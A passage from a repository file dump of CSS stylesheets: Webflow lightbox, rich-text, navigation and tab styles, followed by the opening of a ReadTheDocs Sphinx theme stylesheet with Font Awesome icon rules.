line-height: 1.2;\n  font-weight: 300;\n  text-align: center;\n  background: rgba(0, 0, 0, 0.9);\n  z-index: 2000;\n  outline: 0;\n  /* 1 */\n  opacity: 0;\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -webkit-tap-highlight-color: transparent;\n  -webkit-transform: translate(0, 0);\n  /* 2 */\n}\n/**\n * Neat trick to bind the rubberband effect to our canvas instead of the whole\n * document on iOS. It also prevents a bug that causes the document underneath to scroll.\n */\n.w-lightbox-backdrop,\n.w-lightbox-container {\n  height: 100%;\n  overflow: auto;\n  -webkit-overflow-scrolling: touch;\n}\n.w-lightbox-content {\n  position: relative;\n  height: 100vh;\n  overflow: hidden;\n}\n.w-lightbox-view {\n  position: absolute;\n  width: 100vw;\n  height: 100vh;\n  opacity: 0;\n}\n.w-lightbox-view:before {\n  content: \"\";\n  height: 100vh;\n}\n/* .w-lightbox-content */\n.w-lightbox-group,\n.w-lightbox-group .w-lightbox-view,\n.w-lightbox-group .w-lightbox-view:before {\n  height: 86vh;\n}\n.w-lightbox-frame,\n.w-lightbox-view:before {\n  display: inline-block;\n  vertical-align: middle;\n}\n/*\n * 1. Remove default margin set by user-agent on the <figure> element.\n */\n.w-lightbox-figure {\n  position: relative;\n  margin: 0;\n  /* 1 */\n}\n.w-lightbox-group .w-lightbox-figure {\n  cursor: pointer;\n}\n/**\n * IE adds image dimensions as width and height attributes on the IMG tag,\n * but we need both width and height to be set to auto to enable scaling.\n */\n.w-lightbox-img {\n  width: auto;\n  height: auto;\n  max-width: none;\n}\n/**\n * 1. Reset if style is set by user on \"All Images\"\n */\n.w-lightbox-image {\n  display: block;\n  float: none;\n  /* 1 */\n  max-width: 100vw;\n  max-height: 100vh;\n}\n.w-lightbox-group .w-lightbox-image {\n  max-height: 86vh;\n}\n.w-lightbox-caption {\n  position: absolute;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  padding: .5em 1em;\n  background: rgba(0, 0, 0, 0.4);\n  text-align: left;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n  overflow: hidden;\n}\n.w-lightbox-embed {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  width: 100%;\n  height: 100%;\n}\n.w-lightbox-control {\n  position: absolute;\n  top: 0;\n  width: 4em;\n  background-size: 24px;\n  background-repeat: no-repeat;\n  background-position: center;\n  cursor: pointer;\n  -webkit-transition: all .3s;\n  transition: all .3s;\n}\n.w-lightbox-left {\n  display: none;\n  bottom: 0;\n  left: 0;\n  /* <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"-20 0 24 40\" width=\"24\" height=\"40\"><g transform=\"rotate(45)\"><path d=\"m0 0h5v23h23v5h-28z\" opacity=\".4\"/><path d=\"m1 1h3v23h23v3h-26z\" fill=\"#fff\"/></g></svg> */\n  background-image: url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9Ii0yMCAwIDI0IDQwIiB3aWR0aD0iMjQiIGhlaWdodD0iNDAiPjxnIHRyYW5zZm9ybT0icm90YXRlKDQ1KSI+PHBhdGggZD0ibTAgMGg1djIzaDIzdjVoLTI4eiIgb3BhY2l0eT0iLjQiLz48cGF0aCBkPSJtMSAxaDN2MjNoMjN2M2gtMjZ6IiBmaWxsPSIjZmZmIi8+PC9nPjwvc3ZnPg==\");\n}\n.w-lightbox-right {\n  display: none;\n  right: 0;\n  bottom: 0;\n  /* <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"-4 0 24 40\" width=\"24\" height=\"40\"><g transform=\"rotate(45)\"><path d=\"m0-0h28v28h-5v-23h-23z\" opacity=\".4\"/><path d=\"m1 1h26v26h-3v-23h-23z\" fill=\"#fff\"/></g></svg> */\n  background-image: url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9Ii00IDAgMjQgNDAiIHdpZHRoPSIyNCIgaGVpZ2h0PSI0MCI+PGcgdHJhbnNmb3JtPSJyb3RhdGUoNDUpIj48cGF0aCBkPSJtMC0waDI4djI4aC01di0yM2gtMjN6IiBvcGFjaXR5PSIuNCIvPjxwYXRoIGQ9Im0xIDFoMjZ2MjZoLTN2LTIzaC0yM3oiIGZpbGw9IiNmZmYiLz48L2c+PC9zdmc+\");\n}\n/*\n * Without specifying the with and height inside the SVG, all versions of IE render the icon too small.\n * The bug does not seem to manifest itself if the elements are tall enough such as the above arrows.\n * (http://stackoverflow.com/questions/16092114/background-size-differs-in-internet-explorer)\n */\n.w-lightbox-close {\n  right: 0;\n  height: 2.6em;\n  /* <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"-4 0 18 17\" width=\"18\" height=\"17\"><g transform=\"rotate(45)\"><path d=\"m0 0h7v-7h5v7h7v5h-7v7h-5v-7h-7z\" opacity=\".4\"/><path d=\"m1 1h7v-7h3v7h7v3h-7v7h-3v-7h-7z\" fill=\"#fff\"/></g></svg> */\n  background-image: url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9Ii00IDAgMTggMTciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxNyI+PGcgdHJhbnNmb3JtPSJyb3RhdGUoNDUpIj48cGF0aCBkPSJtMCAwaDd2LTdoNXY3aDd2NWgtN3Y3aC01di03aC03eiIgb3BhY2l0eT0iLjQiLz48cGF0aCBkPSJtMSAxaDd2LTdoM3Y3aDd2M2gtN3Y3aC0zdi03aC03eiIgZmlsbD0iI2ZmZiIvPjwvZz48L3N2Zz4=\");\n  background-size: 18px;\n}\n/**\n * 1. All IE versions add extra space at the bottom without this.\n */\n.w-lightbox-strip {\n  position: absolute;\n  bottom: 0;\n  left: 0;\n  right: 0;\n  padding: 0 1vh;\n  line-height: 0;\n  /* 1 */\n  white-space: nowrap;\n  overflow-x: auto;\n  overflow-y: hidden;\n}\n/*\n * 1. We use content-box to avoid having to do `width: calc(10vh + 2vw)`\n *    which doesn’t work in Safari anyway.\n * 2. Chrome renders images pixelated when switching to GPU. Making sure\n *    the parent is also rendered on the GPU (by setting translate3d for\n *    example) fixes this behavior.\n */\n.w-lightbox-item {\n  display: inline-block;\n  width: 10vh;\n  padding: 2vh 1vh;\n  box-sizing: content-box;\n  /* 1 */\n  cursor: pointer;\n  -webkit-transform: translate3d(0, 0, 0);\n  /* 2 */\n}\n.w-lightbox-active {\n  opacity: .3;\n}\n.w-lightbox-thumbnail {\n  position: relative;\n  height: 10vh;\n  background: #222;\n  overflow: hidden;\n}\n.w-lightbox-thumbnail-image {\n  position: absolute;\n  top: 0;\n  left: 0;\n}\n.w-lightbox-thumbnail .w-lightbox-tall {\n  top: 50%;\n  width: 100%;\n  -webkit-transform: translate(0, -50%);\n  -ms-transform: translate(0, -50%);\n  transform: translate(0, -50%);\n}\n.w-lightbox-thumbnail .w-lightbox-wide {\n  left: 50%;\n  height: 100%;\n  -webkit-transform: translate(-50%, 0);\n  -ms-transform: translate(-50%, 0);\n  transform: translate(-50%, 0);\n}\n/*\n * Spinner\n *\n * Absolute pixel values are used to avoid rounding errors that would cause\n * the white spinning element to be misaligned with the track.\n */\n.w-lightbox-spinner {\n  position: absolute;\n  top: 50%;\n  left: 50%;\n  box-sizing: border-box;\n  width: 40px;\n  height: 40px;\n  margin-top: -20px;\n  margin-left: -20px;\n  border: 5px solid rgba(0, 0, 0, 0.4);\n  border-radius: 50%;\n  -webkit-animation: spin .8s infinite linear;\n  animation: spin .8s infinite linear;\n}\n.w-lightbox-spinner:after {\n  content: \"\";\n  position: absolute;\n  top: -4px;\n  right: -4px;\n  bottom: -4px;\n  left: -4px;\n  border: 3px solid transparent;\n  border-bottom-color: #fff;\n  border-radius: 50%;\n}\n/*\n * Utility classes\n */\n.w-lightbox-hide {\n  display: none;\n}\n.w-lightbox-noscroll {\n  overflow: hidden;\n}\n@media (min-width: 768px) {\n  .w-lightbox-content {\n    height: 96vh;\n    margin-top: 2vh;\n  }\n  .w-lightbox-view,\n  .w-lightbox-view:before {\n    height: 96vh;\n  }\n  /* .w-lightbox-content */\n  .w-lightbox-group,\n  .w-lightbox-group .w-lightbox-view,\n  .w-lightbox-group .w-lightbox-view:before {\n    height: 84vh;\n  }\n  .w-lightbox-image {\n    max-width: 96vw;\n    max-height: 96vh;\n  }\n  .w-lightbox-group .w-lightbox-image {\n    max-width: 82.3vw;\n    max-height: 84vh;\n  }\n  .w-lightbox-left,\n  .w-lightbox-right {\n    display: block;\n    opacity: .5;\n  }\n  .w-lightbox-close {\n    opacity: .8;\n  }\n  .w-lightbox-control:hover {\n    opacity: 1;\n  }\n}\n.w-lightbox-inactive,\n.w-lightbox-inactive:hover {\n  opacity: 0;\n}\n.w-richtext:before,\n.w-richtext:after {\n  content: \" \";\n  display: table;\n  grid-column-start: 1;\n  grid-row-start: 1;\n  grid-column-end: 2;\n  grid-row-end: 2;\n}\n.w-richtext:after {\n  clear: both;\n}\n.w-richtext[contenteditable=\"true\"]:before,\n.w-richtext[contenteditable=\"true\"]:after {\n  white-space: initial;\n}\n.w-richtext ol,\n.w-richtext ul {\n  overflow: hidden;\n}\n.w-richtext .w-richtext-figure-selected.w-richtext-figure-type-video div:after,\n.w-richtext .w-richtext-figure-selected[data-rt-type=\"video\"] div:after {\n  outline: 2px solid #2895f7;\n}\n.w-richtext .w-richtext-figure-selected.w-richtext-figure-type-image div,\n.w-richtext .w-richtext-figure-selected[data-rt-type=\"image\"] div {\n  outline: 2px solid #2895f7;\n}\n.w-richtext figure.w-richtext-figure-type-video > div:after,\n.w-richtext figure[data-rt-type=\"video\"] > div:after {\n  content: '';\n  position: absolute;\n  display: none;\n  left: 0;\n  top: 0;\n  right: 0;\n  bottom: 0;\n}\n.w-richtext figure {\n  position: relative;\n  max-width: 60%;\n}\n.w-richtext figure > div:before {\n  cursor: default!important;\n}\n.w-richtext figure img {\n  width: 100%;\n}\n.w-richtext figure figcaption.w-richtext-figcaption-placeholder {\n  opacity: 0.6;\n}\n.w-richtext figure div {\n  /* fix incorrectly sized selection border in the data manager */\n  font-size: 0px;\n  color: transparent;\n}\n.w-richtext figure.w-richtext-figure-type-image,\n.w-richtext figure[data-rt-type=\"image\"] {\n  display: table;\n}\n.w-richtext figure.w-richtext-figure-type-image > div,\n.w-richtext figure[data-rt-type=\"image\"] > div {\n  display: inline-block;\n}\n.w-richtext figure.w-richtext-figure-type-image > figcaption,\n.w-richtext figure[data-rt-type=\"image\"] > figcaption {\n  display: table-caption;\n  caption-side: bottom;\n}\n.w-richtext figure.w-richtext-figure-type-video,\n.w-richtext figure[data-rt-type=\"video\"] {\n  width: 60%;\n  height: 0;\n}\n.w-richtext figure.w-richtext-figure-type-video iframe,\n.w-richtext figure[data-rt-type=\"video\"] iframe {\n  position: absolute;\n  top: 0;\n  left: 0;\n  width: 100%;\n  height: 100%;\n}\n.w-richtext figure.w-richtext-figure-type-video > div,\n.w-richtext figure[data-rt-type=\"video\"] > div {\n  width: 100%;\n}\n.w-richtext figure.w-richtext-align-center {\n  margin-right: auto;\n  margin-left: auto;\n  clear: both;\n}\n.w-richtext figure.w-richtext-align-center.w-richtext-figure-type-image > div,\n.w-richtext figure.w-richtext-align-center[data-rt-type=\"image\"] > div {\n  max-width: 100%;\n}\n.w-richtext figure.w-richtext-align-normal {\n  clear: both;\n}\n.w-richtext figure.w-richtext-align-fullwidth {\n  width: 100%;\n  max-width: 100%;\n  text-align: center;\n  clear: both;\n  display: block;\n  margin-right: auto;\n  margin-left: auto;\n}\n.w-richtext figure.w-richtext-align-fullwidth > div {\n  display: inline-block;\n  /* padding-bottom is used for aspect ratios in video figures\n      we want the div to inherit that so hover/selection borders in the designer-canvas\n      fit right*/\n  padding-bottom: inherit;\n}\n.w-richtext figure.w-richtext-align-fullwidth > figcaption {\n  display: block;\n}\n.w-richtext figure.w-richtext-align-floatleft {\n  float: left;\n  margin-right: 15px;\n  clear: none;\n}\n.w-richtext figure.w-richtext-align-floatright {\n  float: right;\n  margin-left: 15px;\n  clear: none;\n}\n.w-nav {\n  position: relative;\n  background: #dddddd;\n  z-index: 1000;\n}\n.w-nav:before,\n.w-nav:after {\n  content: \" \";\n  display: table;\n  grid-column-start: 1;\n  grid-row-start: 1;\n  grid-column-end: 2;\n  grid-row-end: 2;\n}\n.w-nav:after {\n  clear: both;\n}\n.w-nav-brand {\n  position: relative;\n  float: left;\n  text-decoration: none;\n  color: #333333;\n}\n.w-nav-link {\n  position: relative;\n  display: inline-block;\n  vertical-align: top;\n  text-decoration: none;\n  color: #222222;\n  padding: 20px;\n  text-align: left;\n  margin-left: auto;\n  margin-right: auto;\n}\n.w-nav-link.w--current {\n  color: #0082f3;\n}\n.w-nav-menu {\n  position: relative;\n  float: right;\n}\n.w--nav-menu-open {\n  display: block !important;\n  position: absolute;\n  top: 100%;\n  left: 0;\n  right: 0;\n  background: #C8C8C8;\n  text-align: center;\n  overflow: visible;\n  min-width: 200px;\n}\n.w--nav-link-open {\n  display: block;\n  position: relative;\n}\n.w-nav-overlay {\n  position: absolute;\n  overflow: hidden;\n  display: none;\n  top: 100%;\n  left: 0;\n  right: 0;\n  width: 100%;\n}\n.w-nav-overlay .w--nav-menu-open {\n  top: 0;\n}\n.w-nav[data-animation=\"over-left\"] .w-nav-overlay {\n  width: auto;\n}\n.w-nav[data-animation=\"over-left\"] .w-nav-overlay,\n.w-nav[data-animation=\"over-left\"] .w--nav-menu-open {\n  right: auto;\n  z-index: 1;\n  top: 0;\n}\n.w-nav[data-animation=\"over-right\"] .w-nav-overlay {\n  width: auto;\n}\n.w-nav[data-animation=\"over-right\"] .w-nav-overlay,\n.w-nav[data-animation=\"over-right\"] .w--nav-menu-open {\n  left: auto;\n  z-index: 1;\n  top: 0;\n}\n.w-nav-button {\n  position: relative;\n  float: right;\n  padding: 18px;\n  font-size: 24px;\n  display: none;\n  cursor: pointer;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n  tap-highlight-color: rgba(0, 0, 0, 0);\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n}\n.w-nav-button.w--open {\n  background-color: #C8C8C8;\n  color: white;\n}\n.w-nav[data-collapse=\"all\"] .w-nav-menu {\n  display: none;\n}\n.w-nav[data-collapse=\"all\"] .w-nav-button {\n  display: block;\n}\n.w--nav-dropdown-open {\n  display: block;\n}\n.w--nav-dropdown-toggle-open {\n  display: block;\n}\n.w--nav-dropdown-list-open {\n  position: static;\n}\n@media screen and (max-width: 991px) {\n  .w-nav[data-collapse=\"medium\"] .w-nav-menu {\n    display: none;\n  }\n  .w-nav[data-collapse=\"medium\"] .w-nav-button {\n    display: block;\n  }\n}\n@media screen and (max-width: 767px) {\n  .w-nav[data-collapse=\"small\"] .w-nav-menu {\n    display: none;\n  }\n  .w-nav[data-collapse=\"small\"] .w-nav-button {\n    display: block;\n  }\n  .w-nav-brand {\n    padding-left: 10px;\n  }\n}\n@media screen and (max-width: 479px) {\n  .w-nav[data-collapse=\"tiny\"] .w-nav-menu {\n    display: none;\n  }\n  .w-nav[data-collapse=\"tiny\"] .w-nav-button {\n    display: block;\n  }\n}\n.w-tabs {\n  position: relative;\n}\n.w-tabs:before,\n.w-tabs:after {\n  content: \" \";\n  display: table;\n  grid-column-start: 1;\n  grid-row-start: 1;\n  grid-column-end: 2;\n  grid-row-end: 2;\n}\n.w-tabs:after {\n  clear: both;\n}\n.w-tab-menu {\n  position: relative;\n}\n.w-tab-link {\n  position: relative;\n  display: inline-block;\n  vertical-align: top;\n  text-decoration: none;\n  padding: 9px 30px;\n  text-align: left;\n  cursor: pointer;\n  color: #222222;\n  background-color: #dddddd;\n}\n.w-tab-link.w--current {\n  background-color: #C8C8C8;\n}\n.w-tab-content {\n  position: relative;\n  display: block;\n  overflow: hidden;\n}\n.w-tab-pane {\n  position: relative;\n  display: none;\n}\n.w--tab-active {\n  display: block;\n}\n@media screen and (max-width: 479px) {\n  .w-tab-link {\n    display: block;\n  }\n}\n.w-ix-emptyfix:after {\n  content: \"\";\n}\n@keyframes spin {\n  0% {\n    transform: rotate(0deg);\n  }\n  100% {\n    transform: rotate(360deg);\n  }\n}\n.w-dyn-empty {\n  padding: 10px;\n  background-color: #dddddd;\n}\n.w-dyn-hide {\n  display: none !important;\n}\n.w-dyn-bind-empty {\n  display: none !important;\n}\n.w-condition-invisible {\n  display: none !important;\n}\n"
  },
  {
    "path": "docs/web/css/theme.css",
    "content": "/*\n * This file is copied from the upstream ReadTheDocs Sphinx\n * theme. To aid upgradability this file should *not* be edited.\n * modifications we need should be included in theme_extra.css.\n *\n * https://github.com/rtfd/sphinx_rtd_theme\n */\n\n/* sphinx_rtd_theme version 0.4.1 | MIT license */\n/* Built 20180727 10:07 */\n\n@import url(\"https://use.typekit.net/gvx7gfz.css\");\n\n* {\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    box-sizing: border-box\n}\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nnav,\nsection {\n    display: block\n}\n\naudio,\ncanvas,\nvideo {\n    display: inline-block;\n    *display: inline;\n    *zoom: 1\n}\n\naudio:not([controls]) {\n    display: none\n}\n\n[hidden] {\n    display: none\n}\n\n* {\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    box-sizing: border-box\n}\n\nhtml {\n    font-size: 100%;\n    -webkit-text-size-adjust: 100%;\n    -ms-text-size-adjust: 100%\n}\n\nbody {\n    margin: 0\n}\n\na:hover,\na:active {\n    outline: 0\n}\n\nabbr[title] {\n    border-bottom: 1px dotted\n}\n\nb,\nstrong {\n    font-weight: bold\n}\n\nblockquote {\n    margin: 0\n}\n\ndfn {\n    font-style: italic\n}\n\nins {\n    background: #ff9;\n    color: #000;\n    text-decoration: none\n}\n\nmark {\n    background: #ff0;\n    color: #000;\n    font-style: italic;\n    font-weight: bold\n}\n\npre,\ncode,\n.rst-content tt,\n.rst-content code,\nkbd,\nsamp {\n    font-family: monospace, serif;\n    _font-family: \"courier new\", monospace;\n    font-size: 1em\n}\n\npre {\n    white-space: pre\n}\n\nq {\n    quotes: none\n}\n\nq:before,\nq:after {\n    content: \"\";\n    content: none\n}\n\nsmall {\n    font-size: 85%\n}\n\nsub,\nsup {\n    font-size: 75%;\n    line-height: 0;\n    position: relative;\n    vertical-align: baseline\n}\n\nsup {\n    top: -0.5em\n}\n\nsub {\n    bottom: -0.25em\n}\n\nul,\nol,\ndl {\n    margin: 0;\n    padding: 0;\n    list-style: none;\n    list-style-image: none\n}\n\nli {\n    list-style: none\n}\n\ndd {\n    margin: 0\n}\n\nimg {\n    border: 0;\n    -ms-interpolation-mode: bicubic;\n    vertical-align: middle;\n    max-width: 100%\n}\n\nsvg:not(:root) {\n    overflow: hidden\n}\n\nfigure {\n    margin: 0\n}\n\nform {\n    margin: 0\n}\n\nfieldset {\n    border: 0;\n    margin: 0;\n    padding: 0\n}\n\nlabel {\n    cursor: pointer\n}\n\nlegend {\n    border: 0;\n    *margin-left: -7px;\n    padding: 0;\n    white-space: normal\n}\n\nbutton,\ninput,\nselect,\ntextarea {\n    font-size: 100%;\n    margin: 0;\n    vertical-align: baseline;\n    *vertical-align: middle\n}\n\nbutton,\ninput {\n    line-height: normal\n}\n\nbutton,\ninput[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n    cursor: pointer;\n    -webkit-appearance: button;\n    *overflow: visible\n}\n\nbutton[disabled],\ninput[disabled] {\n    cursor: default\n}\n\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n    box-sizing: border-box;\n    padding: 0;\n    *width: 13px;\n    *height: 13px\n}\n\ninput[type=\"search\"] {\n    -webkit-appearance: textfield;\n    -moz-box-sizing: content-box;\n    -webkit-box-sizing: content-box;\n    box-sizing: content-box\n}\n\ninput[type=\"search\"]::-webkit-search-decoration,\ninput[type=\"search\"]::-webkit-search-cancel-button {\n    -webkit-appearance: none\n}\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n    border: 0;\n    padding: 0\n}\n\ntextarea {\n    overflow: auto;\n    vertical-align: top;\n    resize: vertical\n}\n\ntable {\n    border-collapse: collapse;\n    border-spacing: 0\n}\n\ntd {\n    vertical-align: top\n}\n\n.chromeframe {\n    margin: .2em 0;\n    background: #ccc;\n    color: #000;\n    padding: .2em 0\n}\n\n.ir {\n    display: block;\n    border: 0;\n    text-indent: -999em;\n    overflow: hidden;\n    background-color: transparent;\n    background-repeat: no-repeat;\n    text-align: left;\n    direction: ltr;\n    *line-height: 0\n}\n\n.ir br {\n    display: none\n}\n\n.hidden {\n    display: none !important;\n    visibility: hidden\n}\n\n.visuallyhidden {\n    border: 0;\n    clip: rect(0 0 0 0);\n    height: 1px;\n    margin: -1px;\n    overflow: hidden;\n    padding: 0;\n    position: absolute;\n    width: 1px\n}\n\n.visuallyhidden.focusable:active,\n.visuallyhidden.focusable:focus {\n    clip: auto;\n    height: auto;\n    margin: 0;\n    overflow: visible;\n    position: static;\n    width: auto\n}\n\n.invisible {\n    visibility: hidden\n}\n\n.relative {\n    position: relative\n}\n\nbig,\nsmall {\n    font-size: 100%\n}\n\n@media print {\n\n    html,\n    body,\n    section {\n        background: none !important\n    }\n\n    * {\n        box-shadow: none !important;\n        text-shadow: none !important;\n        filter: none !important;\n        -ms-filter: none !important\n    }\n\n    a,\n    a:visited {\n        text-decoration: underline\n    }\n\n    .ir a:after,\n    a[href^=\"javascript:\"]:after,\n    a[href^=\"#\"]:after {\n        content: \"\"\n    }\n\n    pre,\n    blockquote {\n        page-break-inside: avoid\n    }\n\n    thead {\n        display: table-header-group\n    }\n\n    tr,\n    img {\n        page-break-inside: avoid\n    }\n\n    img {\n        max-width: 100% !important\n    }\n\n    @page {\n        margin: .5cm\n    }\n\n    p,\n    h2,\n    .rst-content .toctree-wrapper p.caption,\n    h3 {\n        orphans: 3;\n        widows: 3\n    }\n\n    h2,\n    .rst-content .toctree-wrapper p.caption,\n    h3 {\n        page-break-after: avoid\n    }\n}\n\n.fa:before,\n.wy-menu-vertical li span.toctree-expand:before,\n.wy-menu-vertical li.on a span.toctree-expand:before,\n.wy-menu-vertical li.current>a span.toctree-expand:before,\n.rst-content .admonition-title:before,\n.rst-content h1 .headerlink:before,\n.rst-content h2 .headerlink:before,\n.rst-content h3 .headerlink:before,\n.rst-content h4 .headerlink:before,\n.rst-content h5 .headerlink:before,\n.rst-content h6 .headerlink:before,\n.rst-content dl dt .headerlink:before,\n.rst-content p.caption .headerlink:before,\n.rst-content table>caption .headerlink:before,\n.rst-content tt.download span:first-child:before,\n.rst-content code.download span:first-child:before,\n.icon:before,\n.wy-dropdown .caret:before,\n.wy-inline-validate.wy-inline-validate-success .wy-input-context:before,\n.wy-inline-validate.wy-inline-validate-danger .wy-input-context:before,\n.wy-inline-validate.wy-inline-validate-warning .wy-input-context:before,\n.wy-inline-validate.wy-inline-validate-info .wy-input-context:before,\n.wy-alert,\n.rst-content .note,\n.rst-content .attention,\n.rst-content .caution,\n.rst-content .danger,\n.rst-content .error,\n.rst-content .hint,\n.rst-content .important,\n.rst-content .tip,\n.rst-content .warning,\n.rst-content .seealso,\n.rst-content .admonition-todo,\n.rst-content .admonition,\n.btn,\ninput[type=\"text\"],\ninput[type=\"password\"],\ninput[type=\"email\"],\ninput[type=\"url\"],\ninput[type=\"date\"],\ninput[type=\"month\"],\ninput[type=\"time\"],\ninput[type=\"datetime\"],\ninput[type=\"datetime-local\"],\ninput[type=\"week\"],\ninput[type=\"number\"],\ninput[type=\"search\"],\ninput[type=\"tel\"],\ninput[type=\"color\"],\nselect,\ntextarea,\n.wy-menu-vertical li.on a,\n.wy-menu-vertical li.current>a,\n.wy-side-nav-search>a,\n.wy-side-nav-search .wy-dropdown>a,\n.wy-nav-top a {\n    -webkit-font-smoothing: antialiased\n}\n\n.clearfix {\n    *zoom: 1\n}\n\n.clearfix:before,\n.clearfix:after {\n    display: table;\n    content: \"\"\n}\n\n.clearfix:after {\n    clear: both\n}\n\n/*!\n  *  Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome\n  *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)\n  */\n@font-face {\n    font-family: 'FontAwesome';\n    src: url(\"../fonts/fontawesome-webfont.eot?v=4.7.0\");\n    src: url(\"../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0\") format(\"embedded-opentype\"), url(\"../fonts/fontawesome-webfont.woff2?v=4.7.0\") format(\"woff2\"), url(\"../fonts/fontawesome-webfont.woff?v=4.7.0\") format(\"woff\"), url(\"../fonts/fontawesome-webfont.ttf?v=4.7.0\") format(\"truetype\"), url(\"../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular\") format(\"svg\");\n    font-weight: normal;\n    font-style: normal\n}\n\n.fa,\n.wy-menu-vertical li span.toctree-expand,\n.wy-menu-vertical li.on a span.toctree-expand,\n.wy-menu-vertical li.current>a span.toctree-expand,\n.rst-content .admonition-title,\n.rst-content h1 .headerlink,\n.rst-content h2 .headerlink,\n.rst-content h3 .headerlink,\n.rst-content h4 .headerlink,\n.rst-content h5 .headerlink,\n.rst-content h6 .headerlink,\n.rst-content dl dt .headerlink,\n.rst-content p.caption .headerlink,\n.rst-content table>caption .headerlink,\n.rst-content tt.download span:first-child,\n.rst-content code.download span:first-child,\n.icon {\n    display: inline-block;\n    font: normal normal normal 14px/1 FontAwesome;\n    font-size: inherit;\n    text-rendering: auto;\n    -webkit-font-smoothing: antialiased;\n    -moz-osx-font-smoothing: grayscale\n}\n\n.fa-lg {\n    font-size: 1.3333333333em;\n    line-height: .75em;\n    vertical-align: -15%\n}\n\n.fa-2x {\n    font-size: 2em\n}\n\n.fa-3x {\n    font-size: 3em\n}\n\n.fa-4x {\n    font-size: 4em\n}\n\n.fa-5x {\n    font-size: 5em\n}\n\n.fa-fw {\n    width: 1.2857142857em;\n    text-align: center\n}\n\n.fa-ul {\n    padding-left: 0;\n    margin-left: 2.1428571429em;\n    list-style-type: none\n}\n\n.fa-ul>li {\n    position: relative\n}\n\n.fa-li {\n    position: absolute;\n    left: -2.1428571429em;\n    width: 2.1428571429em;\n    top: .1428571429em;\n    text-align: center\n}\n\n.fa-li.fa-lg {\n    left: -1.8571428571em\n}\n\n.fa-border {\n    padding: .2em .25em .15em;\n    border: solid 0.08em #eee;\n    border-radius: .1em\n}\n\n.fa-pull-left {\n    float: left\n}\n\n.fa-pull-right {\n    float: right\n}\n\n.fa.fa-pull-left,\n.wy-menu-vertical li span.fa-pull-left.toctree-expand,\n.wy-menu-vertical li.on a span.fa-pull-left.toctree-expand,\n.wy-menu-vertical li.current>a span.fa-pull-left.toctree-expand,\n.rst-content .fa-pull-left.admonition-title,\n.rst-content h1 .fa-pull-left.headerlink,\n.rst-content h2 .fa-pull-left.headerlink,\n.rst-content h3 .fa-pull-left.headerlink,\n.rst-content h4 .fa-pull-left.headerlink,\n.rst-content h5 .fa-pull-left.headerlink,\n.rst-content h6 .fa-pull-left.headerlink,\n.rst-content dl dt .fa-pull-left.headerlink,\n.rst-content p.caption .fa-pull-left.headerlink,\n.rst-content table>caption .fa-pull-left.headerlink,\n.rst-content tt.download span.fa-pull-left:first-child,\n.rst-content code.download span.fa-pull-left:first-child,\n.fa-pull-left.icon {\n    margin-right: .3em\n}\n\n.fa.fa-pull-right,\n.wy-menu-vertical li span.fa-pull-right.toctree-expand,\n.wy-menu-vertical li.on a span.fa-pull-right.toctree-expand,\n.wy-menu-vertical li.current>a span.fa-pull-right.toctree-expand,\n.rst-content .fa-pull-right.admonition-title,\n.rst-content h1 .fa-pull-right.headerlink,\n.rst-content h2 .fa-pull-right.headerlink,\n.rst-content h3 .fa-pull-right.headerlink,\n.rst-content h4 .fa-pull-right.headerlink,\n.rst-content h5 .fa-pull-right.headerlink,\n.rst-content h6 .fa-pull-right.headerlink,\n.rst-content dl dt .fa-pull-right.headerlink,\n.rst-content p.caption .fa-pull-right.headerlink,\n.rst-content table>caption .fa-pull-right.headerlink,\n.rst-content tt.download span.fa-pull-right:first-child,\n.rst-content code.download span.fa-pull-right:first-child,\n.fa-pull-right.icon {\n    margin-left: .3em\n}\n\n.pull-right {\n    float: right\n}\n\n.pull-left {\n    float: left\n}\n\n.fa.pull-left,\n.wy-menu-vertical li span.pull-left.toctree-expand,\n.wy-menu-vertical li.on a span.pull-left.toctree-expand,\n.wy-menu-vertical li.current>a span.pull-left.toctree-expand,\n.rst-content .pull-left.admonition-title,\n.rst-content h1 .pull-left.headerlink,\n.rst-content h2 .pull-left.headerlink,\n.rst-content h3 .pull-left.headerlink,\n.rst-content h4 .pull-left.headerlink,\n.rst-content h5 .pull-left.headerlink,\n.rst-content h6 .pull-left.headerlink,\n.rst-content dl dt .pull-left.headerlink,\n.rst-content p.caption .pull-left.headerlink,\n.rst-content table>caption .pull-left.headerlink,\n.rst-content tt.download span.pull-left:first-child,\n.rst-content code.download span.pull-left:first-child,\n.pull-left.icon {\n    margin-right: .3em\n}\n\n.fa.pull-right,\n.wy-menu-vertical li span.pull-right.toctree-expand,\n.wy-menu-vertical li.on a span.pull-right.toctree-expand,\n.wy-menu-vertical li.current>a span.pull-right.toctree-expand,\n.rst-content .pull-right.admonition-title,\n.rst-content h1 .pull-right.headerlink,\n.rst-content h2 .pull-right.headerlink,\n.rst-content h3 .pull-right.headerlink,\n.rst-content h4 .pull-right.headerlink,\n.rst-content h5 .pull-right.headerlink,\n.rst-content h6 